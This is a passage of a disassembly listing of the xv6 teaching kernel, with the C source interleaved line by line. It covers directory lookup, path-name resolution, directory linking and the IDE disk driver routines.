80101b40: 0f bf 40 52 movswl 0x52(%eax),%eax
80101b44: 66 83 f8 09 cmp $0x9,%ax
80101b48: 77 36 ja 80101b80 <writei+0x120>
80101b4a: 8b 04 c5 84 09 11 80 mov -0x7feef67c(,%eax,8),%eax
80101b51: 85 c0 test %eax,%eax
80101b53: 74 2b je 80101b80 <writei+0x120>
return devsw[ip->major].write(ip, src, n);
80101b55: 89 7d 10 mov %edi,0x10(%ebp)
}
80101b58: 8d 65 f4 lea -0xc(%ebp),%esp
80101b5b: 5b pop %ebx
80101b5c: 5e pop %esi
80101b5d: 5f pop %edi
80101b5e: 5d pop %ebp
return devsw[ip->major].write(ip, src, n);
80101b5f: ff e0 jmp *%eax
80101b61: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
ip->size = off;
80101b68: 8b 45 d8 mov -0x28(%ebp),%eax
iupdate(ip);
80101b6b: 83 ec 0c sub $0xc,%esp
ip->size = off;
80101b6e: 89 70 58 mov %esi,0x58(%eax)
iupdate(ip);
80101b71: 50 push %eax
80101b72: e8 59 fa ff ff call 801015d0 <iupdate>
80101b77: 83 c4 10 add $0x10,%esp
80101b7a: eb b5 jmp 80101b31 <writei+0xd1>
80101b7c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
return -1;
80101b80: b8 ff ff ff ff mov $0xffffffff,%eax
80101b85: eb ad jmp 80101b34 <writei+0xd4>
80101b87: 89 f6 mov %esi,%esi
80101b89: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80101b90 <namecmp>:
//PAGEBREAK!
// Directories
int
namecmp(const char *s, const char *t)
{
80101b90: 55 push %ebp
80101b91: 89 e5 mov %esp,%ebp
80101b93: 83 ec 0c sub $0xc,%esp
return strncmp(s, t, DIRSIZ);
80101b96: 6a 0e push $0xe
80101b98: ff 75 0c pushl 0xc(%ebp)
80101b9b: ff 75 08 pushl 0x8(%ebp)
80101b9e: e8 ed 2b 00 00 call 80104790 <strncmp>
}
80101ba3: c9 leave
80101ba4: c3 ret
80101ba5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80101ba9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80101bb0 <dirlookup>:
// Look for a directory entry in a directory.
// If found, set *poff to byte offset of entry.
struct inode*
dirlookup(struct inode *dp, char *name, uint *poff)
{
80101bb0: 55 push %ebp
80101bb1: 89 e5 mov %esp,%ebp
80101bb3: 57 push %edi
80101bb4: 56 push %esi
80101bb5: 53 push %ebx
80101bb6: 83 ec 1c sub $0x1c,%esp
80101bb9: 8b 5d 08 mov 0x8(%ebp),%ebx
uint off, inum;
struct dirent de;
if(dp->type != T_DIR)
80101bbc: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx)
80101bc1: 0f 85 85 00 00 00 jne 80101c4c <dirlookup+0x9c>
panic("dirlookup not DIR");
for(off = 0; off < dp->size; off += sizeof(de)){
80101bc7: 8b 53 58 mov 0x58(%ebx),%edx
80101bca: 31 ff xor %edi,%edi
80101bcc: 8d 75 d8 lea -0x28(%ebp),%esi
80101bcf: 85 d2 test %edx,%edx
80101bd1: 74 3e je 80101c11 <dirlookup+0x61>
80101bd3: 90 nop
80101bd4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
80101bd8: 6a 10 push $0x10
80101bda: 57 push %edi
80101bdb: 56 push %esi
80101bdc: 53 push %ebx
80101bdd: e8 7e fd ff ff call 80101960 <readi>
80101be2: 83 c4 10 add $0x10,%esp
80101be5: 83 f8 10 cmp $0x10,%eax
80101be8: 75 55 jne 80101c3f <dirlookup+0x8f>
panic("dirlookup read");
if(de.inum == 0)
80101bea: 66 83 7d d8 00 cmpw $0x0,-0x28(%ebp)
80101bef: 74 18 je 80101c09 <dirlookup+0x59>
return strncmp(s, t, DIRSIZ);
80101bf1: 8d 45 da lea -0x26(%ebp),%eax
80101bf4: 83 ec 04 sub $0x4,%esp
80101bf7: 6a 0e push $0xe
80101bf9: 50 push %eax
80101bfa: ff 75 0c pushl 0xc(%ebp)
80101bfd: e8 8e 2b 00 00 call 80104790 <strncmp>
continue;
if(namecmp(name, de.name) == 0){
80101c02: 83 c4 10 add $0x10,%esp
80101c05: 85 c0 test %eax,%eax
80101c07: 74 17 je 80101c20 <dirlookup+0x70>
for(off = 0; off < dp->size; off += sizeof(de)){
80101c09: 83 c7 10 add $0x10,%edi
80101c0c: 3b 7b 58 cmp 0x58(%ebx),%edi
80101c0f: 72 c7 jb 80101bd8 <dirlookup+0x28>
return iget(dp->dev, inum);
}
}
return 0;
}
80101c11: 8d 65 f4 lea -0xc(%ebp),%esp
return 0;
80101c14: 31 c0 xor %eax,%eax
}
80101c16: 5b pop %ebx
80101c17: 5e pop %esi
80101c18: 5f pop %edi
80101c19: 5d pop %ebp
80101c1a: c3 ret
80101c1b: 90 nop
80101c1c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if(poff)
80101c20: 8b 45 10 mov 0x10(%ebp),%eax
80101c23: 85 c0 test %eax,%eax
80101c25: 74 05 je 80101c2c <dirlookup+0x7c>
*poff = off;
80101c27: 8b 45 10 mov 0x10(%ebp),%eax
80101c2a: 89 38 mov %edi,(%eax)
inum = de.inum;
80101c2c: 0f b7 55 d8 movzwl -0x28(%ebp),%edx
return iget(dp->dev, inum);
80101c30: 8b 03 mov (%ebx),%eax
80101c32: e8 59 f6 ff ff call 80101290 <iget>
}
80101c37: 8d 65 f4 lea -0xc(%ebp),%esp
80101c3a: 5b pop %ebx
80101c3b: 5e pop %esi
80101c3c: 5f pop %edi
80101c3d: 5d pop %ebp
80101c3e: c3 ret
panic("dirlookup read");
80101c3f: 83 ec 0c sub $0xc,%esp
80101c42: 68 b9 74 10 80 push $0x801074b9
80101c47: e8 44 e7 ff ff call 80100390 <panic>
panic("dirlookup not DIR");
80101c4c: 83 ec 0c sub $0xc,%esp
80101c4f: 68 a7 74 10 80 push $0x801074a7
80101c54: e8 37 e7 ff ff call 80100390 <panic>
80101c59: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80101c60 <namex>:
// If parent != 0, return the inode for the parent and copy the final
// path element into name, which must have room for DIRSIZ bytes.
// Must be called inside a transaction since it calls iput().
static struct inode*
namex(char *path, int nameiparent, char *name)
{
80101c60: 55 push %ebp
80101c61: 89 e5 mov %esp,%ebp
80101c63: 57 push %edi
80101c64: 56 push %esi
80101c65: 53 push %ebx
80101c66: 89 cf mov %ecx,%edi
80101c68: 89 c3 mov %eax,%ebx
80101c6a: 83 ec 1c sub $0x1c,%esp
struct inode *ip, *next;
if(*path == '/')
80101c6d: 80 38 2f cmpb $0x2f,(%eax)
{
80101c70: 89 55 e0 mov %edx,-0x20(%ebp)
if(*path == '/')
80101c73: 0f 84 67 01 00 00 je 80101de0 <namex+0x180>
ip = iget(ROOTDEV, ROOTINO);
else
ip = idup(myproc()->cwd);
80101c79: e8 42 1c 00 00 call 801038c0 <myproc>
acquire(&icache.lock);
80101c7e: 83 ec 0c sub $0xc,%esp
ip = idup(myproc()->cwd);
80101c81: 8b 70 68 mov 0x68(%eax),%esi
acquire(&icache.lock);
80101c84: 68 00 0a 11 80 push $0x80110a00
80101c89: e8 d2 28 00 00 call 80104560 <acquire>
ip->ref++;
80101c8e: 83 46 08 01 addl $0x1,0x8(%esi)
release(&icache.lock);
80101c92: c7 04 24 00 0a 11 80 movl $0x80110a00,(%esp)
80101c99: e8 82 29 00 00 call 80104620 <release>
80101c9e: 83 c4 10 add $0x10,%esp
80101ca1: eb 08 jmp 80101cab <namex+0x4b>
80101ca3: 90 nop
80101ca4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
path++;
80101ca8: 83 c3 01 add $0x1,%ebx
while(*path == '/')
80101cab: 0f b6 03 movzbl (%ebx),%eax
80101cae: 3c 2f cmp $0x2f,%al
80101cb0: 74 f6 je 80101ca8 <namex+0x48>
if(*path == 0)
80101cb2: 84 c0 test %al,%al
80101cb4: 0f 84 ee 00 00 00 je 80101da8 <namex+0x148>
while(*path != '/' && *path != 0)
80101cba: 0f b6 03 movzbl (%ebx),%eax
80101cbd: 3c 2f cmp $0x2f,%al
80101cbf: 0f 84 b3 00 00 00 je 80101d78 <namex+0x118>
80101cc5: 84 c0 test %al,%al
80101cc7: 89 da mov %ebx,%edx
80101cc9: 75 09 jne 80101cd4 <namex+0x74>
80101ccb: e9 a8 00 00 00 jmp 80101d78 <namex+0x118>
80101cd0: 84 c0 test %al,%al
80101cd2: 74 0a je 80101cde <namex+0x7e>
path++;
80101cd4: 83 c2 01 add $0x1,%edx
while(*path != '/' && *path != 0)
80101cd7: 0f b6 02 movzbl (%edx),%eax
80101cda: 3c 2f cmp $0x2f,%al
80101cdc: 75 f2 jne 80101cd0 <namex+0x70>
80101cde: 89 d1 mov %edx,%ecx
80101ce0: 29 d9 sub %ebx,%ecx
if(len >= DIRSIZ)
80101ce2: 83 f9 0d cmp $0xd,%ecx
80101ce5: 0f 8e 91 00 00 00 jle 80101d7c <namex+0x11c>
memmove(name, s, DIRSIZ);
80101ceb: 83 ec 04 sub $0x4,%esp
80101cee: 89 55 e4 mov %edx,-0x1c(%ebp)
80101cf1: 6a 0e push $0xe
80101cf3: 53 push %ebx
80101cf4: 57 push %edi
80101cf5: e8 26 2a 00 00 call 80104720 <memmove>
path++;
80101cfa: 8b 55 e4 mov -0x1c(%ebp),%edx
memmove(name, s, DIRSIZ);
80101cfd: 83 c4 10 add $0x10,%esp
path++;
80101d00: 89 d3 mov %edx,%ebx
while(*path == '/')
80101d02: 80 3a 2f cmpb $0x2f,(%edx)
80101d05: 75 11 jne 80101d18 <namex+0xb8>
80101d07: 89 f6 mov %esi,%esi
80101d09: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
path++;
80101d10: 83 c3 01 add $0x1,%ebx
while(*path == '/')
80101d13: 80 3b 2f cmpb $0x2f,(%ebx)
80101d16: 74 f8 je 80101d10 <namex+0xb0>
while((path = skipelem(path, name)) != 0){
ilock(ip);
80101d18: 83 ec 0c sub $0xc,%esp
80101d1b: 56 push %esi
80101d1c: e8 5f f9 ff ff call 80101680 <ilock>
if(ip->type != T_DIR){
80101d21: 83 c4 10 add $0x10,%esp
80101d24: 66 83 7e 50 01 cmpw $0x1,0x50(%esi)
80101d29: 0f 85 91 00 00 00 jne 80101dc0 <namex+0x160>
iunlockput(ip);
return 0;
}
if(nameiparent && *path == '\0'){
80101d2f: 8b 55 e0 mov -0x20(%ebp),%edx
80101d32: 85 d2 test %edx,%edx
80101d34: 74 09 je 80101d3f <namex+0xdf>
80101d36: 80 3b 00 cmpb $0x0,(%ebx)
80101d39: 0f 84 b7 00 00 00 je 80101df6 <namex+0x196>
// Stop one level early.
iunlock(ip);
return ip;
}
if((next = dirlookup(ip, name, 0)) == 0){
80101d3f: 83 ec 04 sub $0x4,%esp
80101d42: 6a 00 push $0x0
80101d44: 57 push %edi
80101d45: 56 push %esi
80101d46: e8 65 fe ff ff call 80101bb0 <dirlookup>
80101d4b: 83 c4 10 add $0x10,%esp
80101d4e: 85 c0 test %eax,%eax
80101d50: 74 6e je 80101dc0 <namex+0x160>
iunlock(ip);
80101d52: 83 ec 0c sub $0xc,%esp
80101d55: 89 45 e4 mov %eax,-0x1c(%ebp)
80101d58: 56 push %esi
80101d59: e8 02 fa ff ff call 80101760 <iunlock>
iput(ip);
80101d5e: 89 34 24 mov %esi,(%esp)
80101d61: e8 4a fa ff ff call 801017b0 <iput>
80101d66: 8b 45 e4 mov -0x1c(%ebp),%eax
80101d69: 83 c4 10 add $0x10,%esp
80101d6c: 89 c6 mov %eax,%esi
80101d6e: e9 38 ff ff ff jmp 80101cab <namex+0x4b>
80101d73: 90 nop
80101d74: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
while(*path != '/' && *path != 0)
80101d78: 89 da mov %ebx,%edx
80101d7a: 31 c9 xor %ecx,%ecx
memmove(name, s, len);
80101d7c: 83 ec 04 sub $0x4,%esp
80101d7f: 89 55 dc mov %edx,-0x24(%ebp)
80101d82: 89 4d e4 mov %ecx,-0x1c(%ebp)
80101d85: 51 push %ecx
80101d86: 53 push %ebx
80101d87: 57 push %edi
80101d88: e8 93 29 00 00 call 80104720 <memmove>
name[len] = 0;
80101d8d: 8b 4d e4 mov -0x1c(%ebp),%ecx
80101d90: 8b 55 dc mov -0x24(%ebp),%edx
80101d93: 83 c4 10 add $0x10,%esp
80101d96: c6 04 0f 00 movb $0x0,(%edi,%ecx,1)
80101d9a: 89 d3 mov %edx,%ebx
80101d9c: e9 61 ff ff ff jmp 80101d02 <namex+0xa2>
80101da1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
return 0;
}
iunlockput(ip);
ip = next;
}
if(nameiparent){
80101da8: 8b 45 e0 mov -0x20(%ebp),%eax
80101dab: 85 c0 test %eax,%eax
80101dad: 75 5d jne 80101e0c <namex+0x1ac>
iput(ip);
return 0;
}
return ip;
}
80101daf: 8d 65 f4 lea -0xc(%ebp),%esp
80101db2: 89 f0 mov %esi,%eax
80101db4: 5b pop %ebx
80101db5: 5e pop %esi
80101db6: 5f pop %edi
80101db7: 5d pop %ebp
80101db8: c3 ret
80101db9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
iunlock(ip);
80101dc0: 83 ec 0c sub $0xc,%esp
80101dc3: 56 push %esi
80101dc4: e8 97 f9 ff ff call 80101760 <iunlock>
iput(ip);
80101dc9: 89 34 24 mov %esi,(%esp)
return 0;
80101dcc: 31 f6 xor %esi,%esi
iput(ip);
80101dce: e8 dd f9 ff ff call 801017b0 <iput>
return 0;
80101dd3: 83 c4 10 add $0x10,%esp
}
80101dd6: 8d 65 f4 lea -0xc(%ebp),%esp
80101dd9: 89 f0 mov %esi,%eax
80101ddb: 5b pop %ebx
80101ddc: 5e pop %esi
80101ddd: 5f pop %edi
80101dde: 5d pop %ebp
80101ddf: c3 ret
ip = iget(ROOTDEV, ROOTINO);
80101de0: ba 01 00 00 00 mov $0x1,%edx
80101de5: b8 01 00 00 00 mov $0x1,%eax
80101dea: e8 a1 f4 ff ff call 80101290 <iget>
80101def: 89 c6 mov %eax,%esi
80101df1: e9 b5 fe ff ff jmp 80101cab <namex+0x4b>
iunlock(ip);
80101df6: 83 ec 0c sub $0xc,%esp
80101df9: 56 push %esi
80101dfa: e8 61 f9 ff ff call 80101760 <iunlock>
return ip;
80101dff: 83 c4 10 add $0x10,%esp
}
80101e02: 8d 65 f4 lea -0xc(%ebp),%esp
80101e05: 89 f0 mov %esi,%eax
80101e07: 5b pop %ebx
80101e08: 5e pop %esi
80101e09: 5f pop %edi
80101e0a: 5d pop %ebp
80101e0b: c3 ret
iput(ip);
80101e0c: 83 ec 0c sub $0xc,%esp
80101e0f: 56 push %esi
return 0;
80101e10: 31 f6 xor %esi,%esi
iput(ip);
80101e12: e8 99 f9 ff ff call 801017b0 <iput>
return 0;
80101e17: 83 c4 10 add $0x10,%esp
80101e1a: eb 93 jmp 80101daf <namex+0x14f>
80101e1c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80101e20 <dirlink>:
{
80101e20: 55 push %ebp
80101e21: 89 e5 mov %esp,%ebp
80101e23: 57 push %edi
80101e24: 56 push %esi
80101e25: 53 push %ebx
80101e26: 83 ec 20 sub $0x20,%esp
80101e29: 8b 5d 08 mov 0x8(%ebp),%ebx
if((ip = dirlookup(dp, name, 0)) != 0){
80101e2c: 6a 00 push $0x0
80101e2e: ff 75 0c pushl 0xc(%ebp)
80101e31: 53 push %ebx
80101e32: e8 79 fd ff ff call 80101bb0 <dirlookup>
80101e37: 83 c4 10 add $0x10,%esp
80101e3a: 85 c0 test %eax,%eax
80101e3c: 75 67 jne 80101ea5 <dirlink+0x85>
for(off = 0; off < dp->size; off += sizeof(de)){
80101e3e: 8b 7b 58 mov 0x58(%ebx),%edi
80101e41: 8d 75 d8 lea -0x28(%ebp),%esi
80101e44: 85 ff test %edi,%edi
80101e46: 74 29 je 80101e71 <dirlink+0x51>
80101e48: 31 ff xor %edi,%edi
80101e4a: 8d 75 d8 lea -0x28(%ebp),%esi
80101e4d: eb 09 jmp 80101e58 <dirlink+0x38>
80101e4f: 90 nop
80101e50: 83 c7 10 add $0x10,%edi
80101e53: 3b 7b 58 cmp 0x58(%ebx),%edi
80101e56: 73 19 jae 80101e71 <dirlink+0x51>
if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
80101e58: 6a 10 push $0x10
80101e5a: 57 push %edi
80101e5b: 56 push %esi
80101e5c: 53 push %ebx
80101e5d: e8 fe fa ff ff call 80101960 <readi>
80101e62: 83 c4 10 add $0x10,%esp
80101e65: 83 f8 10 cmp $0x10,%eax
80101e68: 75 4e jne 80101eb8 <dirlink+0x98>
if(de.inum == 0)
80101e6a: 66 83 7d d8 00 cmpw $0x0,-0x28(%ebp)
80101e6f: 75 df jne 80101e50 <dirlink+0x30>
strncpy(de.name, name, DIRSIZ);
80101e71: 8d 45 da lea -0x26(%ebp),%eax
80101e74: 83 ec 04 sub $0x4,%esp
80101e77: 6a 0e push $0xe
80101e79: ff 75 0c pushl 0xc(%ebp)
80101e7c: 50 push %eax
80101e7d: e8 6e 29 00 00 call 801047f0 <strncpy>
de.inum = inum;
80101e82: 8b 45 10 mov 0x10(%ebp),%eax
if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
80101e85: 6a 10 push $0x10
80101e87: 57 push %edi
80101e88: 56 push %esi
80101e89: 53 push %ebx
de.inum = inum;
80101e8a: 66 89 45 d8 mov %ax,-0x28(%ebp)
if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
80101e8e: e8 cd fb ff ff call 80101a60 <writei>
80101e93: 83 c4 20 add $0x20,%esp
80101e96: 83 f8 10 cmp $0x10,%eax
80101e99: 75 2a jne 80101ec5 <dirlink+0xa5>
return 0;
80101e9b: 31 c0 xor %eax,%eax
}
80101e9d: 8d 65 f4 lea -0xc(%ebp),%esp
80101ea0: 5b pop %ebx
80101ea1: 5e pop %esi
80101ea2: 5f pop %edi
80101ea3: 5d pop %ebp
80101ea4: c3 ret
iput(ip);
80101ea5: 83 ec 0c sub $0xc,%esp
80101ea8: 50 push %eax
80101ea9: e8 02 f9 ff ff call 801017b0 <iput>
return -1;
80101eae: 83 c4 10 add $0x10,%esp
80101eb1: b8 ff ff ff ff mov $0xffffffff,%eax
80101eb6: eb e5 jmp 80101e9d <dirlink+0x7d>
panic("dirlink read");
80101eb8: 83 ec 0c sub $0xc,%esp
80101ebb: 68 c8 74 10 80 push $0x801074c8
80101ec0: e8 cb e4 ff ff call 80100390 <panic>
panic("dirlink");
80101ec5: 83 ec 0c sub $0xc,%esp
80101ec8: 68 4e 7b 10 80 push $0x80107b4e
80101ecd: e8 be e4 ff ff call 80100390 <panic>
80101ed2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80101ed9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80101ee0 <namei>:
struct inode*
namei(char *path)
{
80101ee0: 55 push %ebp
char name[DIRSIZ];
return namex(path, 0, name);
80101ee1: 31 d2 xor %edx,%edx
{
80101ee3: 89 e5 mov %esp,%ebp
80101ee5: 83 ec 18 sub $0x18,%esp
return namex(path, 0, name);
80101ee8: 8b 45 08 mov 0x8(%ebp),%eax
80101eeb: 8d 4d ea lea -0x16(%ebp),%ecx
80101eee: e8 6d fd ff ff call 80101c60 <namex>
}
80101ef3: c9 leave
80101ef4: c3 ret
80101ef5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80101ef9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80101f00 <nameiparent>:
struct inode*
nameiparent(char *path, char *name)
{
80101f00: 55 push %ebp
return namex(path, 1, name);
80101f01: ba 01 00 00 00 mov $0x1,%edx
{
80101f06: 89 e5 mov %esp,%ebp
return namex(path, 1, name);
80101f08: 8b 4d 0c mov 0xc(%ebp),%ecx
80101f0b: 8b 45 08 mov 0x8(%ebp),%eax
}
80101f0e: 5d pop %ebp
return namex(path, 1, name);
80101f0f: e9 4c fd ff ff jmp 80101c60 <namex>
80101f14: 66 90 xchg %ax,%ax
80101f16: 66 90 xchg %ax,%ax
80101f18: 66 90 xchg %ax,%ax
80101f1a: 66 90 xchg %ax,%ax
80101f1c: 66 90 xchg %ax,%ax
80101f1e: 66 90 xchg %ax,%ax
80101f20 <idestart>:
}
// Start the request for b. Caller must hold idelock.
static void
idestart(struct buf *b)
{
80101f20: 55 push %ebp
80101f21: 89 e5 mov %esp,%ebp
80101f23: 57 push %edi
80101f24: 56 push %esi
80101f25: 53 push %ebx
80101f26: 83 ec 0c sub $0xc,%esp
if(b == 0)
80101f29: 85 c0 test %eax,%eax
80101f2b: 0f 84 b4 00 00 00 je 80101fe5 <idestart+0xc5>
panic("idestart");
if(b->blockno >= FSSIZE)
80101f31: 8b 58 08 mov 0x8(%eax),%ebx
80101f34: 89 c6 mov %eax,%esi
80101f36: 81 fb e7 03 00 00 cmp $0x3e7,%ebx
80101f3c: 0f 87 96 00 00 00 ja 80101fd8 <idestart+0xb8>
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80101f42: b9 f7 01 00 00 mov $0x1f7,%ecx
80101f47: 89 f6 mov %esi,%esi
80101f49: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80101f50: 89 ca mov %ecx,%edx
80101f52: ec in (%dx),%al
while(((r = inb(0x1f7)) & (IDE_BSY|IDE_DRDY)) != IDE_DRDY)
80101f53: 83 e0 c0 and $0xffffffc0,%eax
80101f56: 3c 40 cmp $0x40,%al
80101f58: 75 f6 jne 80101f50 <idestart+0x30>
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80101f5a: 31 ff xor %edi,%edi
80101f5c: ba f6 03 00 00 mov $0x3f6,%edx
80101f61: 89 f8 mov %edi,%eax
80101f63: ee out %al,(%dx)
80101f64: b8 01 00 00 00 mov $0x1,%eax
80101f69: ba f2 01 00 00 mov $0x1f2,%edx
80101f6e: ee out %al,(%dx)
80101f6f: ba f3 01 00 00 mov $0x1f3,%edx
80101f74: 89 d8 mov %ebx,%eax
80101f76: ee out %al,(%dx)
idewait(0);
outb(0x3f6, 0); // generate interrupt
outb(0x1f2, sector_per_block); // number of sectors
outb(0x1f3, sector & 0xff);
outb(0x1f4, (sector >> 8) & 0xff);
80101f77: 89 d8 mov %ebx,%eax
80101f79: ba f4 01 00 00 mov $0x1f4,%edx
80101f7e: c1 f8 08 sar $0x8,%eax
80101f81: ee out %al,(%dx)
80101f82: ba f5 01 00 00 mov $0x1f5,%edx
80101f87: 89 f8 mov %edi,%eax
80101f89: ee out %al,(%dx)
outb(0x1f5, (sector >> 16) & 0xff);
outb(0x1f6, 0xe0 | ((b->dev&1)<<4) | ((sector>>24)&0x0f));
80101f8a: 0f b6 46 04 movzbl 0x4(%esi),%eax
80101f8e: ba f6 01 00 00 mov $0x1f6,%edx
80101f93: c1 e0 04 shl $0x4,%eax
80101f96: 83 e0 10 and $0x10,%eax
80101f99: 83 c8 e0 or $0xffffffe0,%eax
80101f9c: ee out %al,(%dx)
if(b->flags & B_DIRTY){
80101f9d: f6 06 04 testb $0x4,(%esi)
80101fa0: 75 16 jne 80101fb8 <idestart+0x98>
80101fa2: b8 20 00 00 00 mov $0x20,%eax
80101fa7: 89 ca mov %ecx,%edx
80101fa9: ee out %al,(%dx)
outb(0x1f7, write_cmd);
outsl(0x1f0, b->data, BSIZE/4);
} else {
outb(0x1f7, read_cmd);
}
}
80101faa: 8d 65 f4 lea -0xc(%ebp),%esp
80101fad: 5b pop %ebx
80101fae: 5e pop %esi
80101faf: 5f pop %edi
80101fb0: 5d pop %ebp
80101fb1: c3 ret
80101fb2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80101fb8: b8 30 00 00 00 mov $0x30,%eax
80101fbd: 89 ca mov %ecx,%edx
80101fbf: ee out %al,(%dx)
asm volatile("cld; rep outsl" :
80101fc0: b9 80 00 00 00 mov $0x80,%ecx
outsl(0x1f0, b->data, BSIZE/4);
80101fc5: 83 c6 5c add $0x5c,%esi
80101fc8: ba f0 01 00 00 mov $0x1f0,%edx
80101fcd: fc cld
80101fce: f3 6f rep outsl %ds:(%esi),(%dx)
}
80101fd0: 8d 65 f4 lea -0xc(%ebp),%esp
80101fd3: 5b pop %ebx
80101fd4: 5e pop %esi
80101fd5: 5f pop %edi
80101fd6: 5d pop %ebp
80101fd7: c3 ret
panic("incorrect blockno");
80101fd8: 83 ec 0c sub $0xc,%esp
80101fdb: 68 34 75 10 80 push $0x80107534
80101fe0: e8 ab e3 ff ff call 80100390 <panic>
panic("idestart");
80101fe5: 83 ec 0c sub $0xc,%esp
80101fe8: 68 2b 75 10 80 push $0x8010752b
80101fed: e8 9e e3 ff ff call 80100390 <panic>
80101ff2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80101ff9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80102000 <ideinit>:
{
80102000: 55 push %ebp
80102001: 89 e5 mov %esp,%ebp
80102003: 83 ec 10 sub $0x10,%esp
initlock(&idelock, "ide");
80102006: 68 46 75 10 80 push $0x80107546
8010200b: 68 80 a5 10 80 push $0x8010a580
80102010: e8 0b 24 00 00 call 80104420 <initlock>
ioapicenable(IRQ_IDE, ncpu - 1);
80102015: 58 pop %eax
80102016: a1 00 29 11 80 mov 0x80112900,%eax
8010201b: 5a pop %edx
8010201c: 83 e8 01 sub $0x1,%eax
8010201f: 50 push %eax
80102020: 6a 0e push $0xe
80102022: e8 a9 02 00 00 call 801022d0 <ioapicenable>
80102027: 83 c4 10 add $0x10,%esp
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
8010202a: ba f7 01 00 00 mov $0x1f7,%edx
8010202f: 90 nop
80102030: ec in (%dx),%al
while(((r = inb(0x1f7)) & (IDE_BSY|IDE_DRDY)) != IDE_DRDY)
80102031: 83 e0 c0 and $0xffffffc0,%eax
80102034: 3c 40 cmp $0x40,%al
80102036: 75 f8 jne 80102030 <ideinit+0x30>
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80102038: b8 f0 ff ff ff mov $0xfffffff0,%eax
8010203d: ba f6 01 00 00 mov $0x1f6,%edx
80102042: ee out %al,(%dx)
80102043: b9 e8 03 00 00 mov $0x3e8,%ecx
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102048: ba f7 01 00 00 mov $0x1f7,%edx
8010204d: eb 06 jmp 80102055 <ideinit+0x55>
8010204f: 90 nop
for(i=0; i<1000; i++){
80102050: 83 e9 01 sub $0x1,%ecx
80102053: 74 0f je 80102064 <ideinit+0x64>
80102055: ec in (%dx),%al
if(inb(0x1f7) != 0){
80102056: 84 c0 test %al,%al
80102058: 74 f6 je 80102050 <ideinit+0x50>
havedisk1 = 1;
8010205a: c7 05 60 a5 10 80 01 movl $0x1,0x8010a560
80102061: 00 00 00
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80102064: b8 e0 ff ff ff mov $0xffffffe0,%eax
80102069: ba f6 01 00 00 mov $0x1f6,%edx
8010206e: ee out %al,(%dx)
}
8010206f: c9 leave
80102070: c3 ret
80102071: eb 0d jmp 80102080 <ideintr>
80102073: 90 nop
80102074: 90 nop
80102075: 90 nop
80102076: 90 nop
80102077: 90 nop
80102078: 90 nop
80102079: 90 nop
8010207a: 90 nop
8010207b: 90 nop
8010207c: 90 nop
8010207d: 90 nop
8010207e: 90 nop
8010207f: 90 nop
80102080 <ideintr>:
// Interrupt handler.
void
ideintr(void)
{
80102080: 55 push %ebp
80102081: 89 e5 mov %esp,%ebp
80102083: 57 push %edi
80102084: 56 push %esi
80102085: 53 push %ebx
80102086: 83 ec 18 sub $0x18,%esp
struct buf *b;
// First queued buffer is the active request.
acquire(&idelock);
80102089: 68 80 a5 10 80 push $0x8010a580
8010208e: e8 cd 24 00 00 call 80104560 <acquire>
if((b = idequeue) == 0){
80102093: 8b 1d 64 a5 10 80 mov 0x8010a564,%ebx
80102099: 83 c4 10 add $0x10,%esp
8010209c: 85 db test %ebx,%ebx
8010209e: 74 67 je 80102107 <ideintr+0x87>
release(&idelock);
return;
}
idequeue = b->qnext;
801020a0: 8b 43 58 mov 0x58(%ebx),%eax
801020a3: a3 64 a5 10 80 mov %eax,0x8010a564
// Read data if needed.
if(!(b->flags & B_DIRTY) && idewait(1) >= 0)
801020a8: 8b 3b mov (%ebx),%edi
801020aa: f7 c7 04 00 00 00 test $0x4,%edi
801020b0: 75 31 jne 801020e3 <ideintr+0x63>
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
801020b2: ba f7 01 00 00 mov $0x1f7,%edx
801020b7: 89 f6 mov %esi,%esi
801020b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801020c0: ec in (%dx),%al
while(((r = inb(0x1f7)) & (IDE_BSY|IDE_DRDY)) != IDE_DRDY)
801020c1: 89 c6 mov %eax,%esi
801020c3: 83 e6 c0 and $0xffffffc0,%esi
801020c6: 89 f1 mov %esi,%ecx
801020c8: 80 f9 40 cmp $0x40,%cl
801020cb: 75 f3 jne 801020c0 <ideintr+0x40>
if(checkerr && (r & (IDE_DF|IDE_ERR)) != 0)
801020cd: a8 21 test $0x21,%al
801020cf: 75 12 jne 801020e3 <ideintr+0x63>
insl(0x1f0, b->data, BSIZE/4);
801020d1: 8d 7b 5c lea 0x5c(%ebx),%edi
asm volatile("cld; rep insl" :
